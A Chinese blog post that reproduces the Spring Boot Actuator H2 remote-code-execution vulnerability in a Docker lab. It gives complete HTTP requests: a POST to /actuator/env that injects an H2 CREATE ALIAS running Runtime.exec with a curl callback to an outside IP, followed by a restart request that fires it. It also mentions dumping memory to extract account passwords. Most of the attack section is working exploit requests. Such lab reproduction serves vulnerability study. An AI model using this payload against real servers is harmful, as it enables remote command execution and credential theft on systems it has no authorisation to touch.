Spring Boot Actuator H2 RCE复现-解决篇

原文:Spring Boot Actuator H2 RCE复现

前端时间碰到一个Actuator  信息泄露的然后复现了一下这个漏洞

  1. git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git

(2) 使用docker启动环境

先cd进入spring-boot-actuator-h2-rce目录然后执行以下命令

  1. docker build -t spaceraccoon/spring-boot-rce-lab .
  2. docker run -p 8080:8080 -t spaceraccoon/spring-boot-rce-lab

(3) 访问:http://39.105.93.185:8080/actuatorSpring Boot Actuator H2 RCE复现

0x02 漏洞复现
(1)发送如下POST包配置spring.datasource.hikari.connection-test-query的值

  1. POST /actuator/env HTTP/1.1
  2. Host: 39.105.93.185:8080
  3. Content-Type: application/json
  4. Content-Length: 389
  5.  
  6. {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl 39.105.93.185:8081');"}

(2)查看/actuator/envSpring Boot Actuator H2 RCE复现

(3)向端点 /actuator/restart 发送POST请求,重启应用

  1. POST /actuator/restart HTTP/1.1
  2. Host: 39.105.93.185:8080
  3. Content-Type: application/json
  4. Content-Length: 356
  5.  
  6. {}

(4) 查看ncSpring Boot Actuator H2 RCE复现

PS : 有些机器不出网的时候可以利用dump 获取信息 然后使用软件导出账号密码如下:Spring Boot Actuator H2 RCE复现

软件地址: 云盘下载

Spring Boot Actuator H2 RCE复现


点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注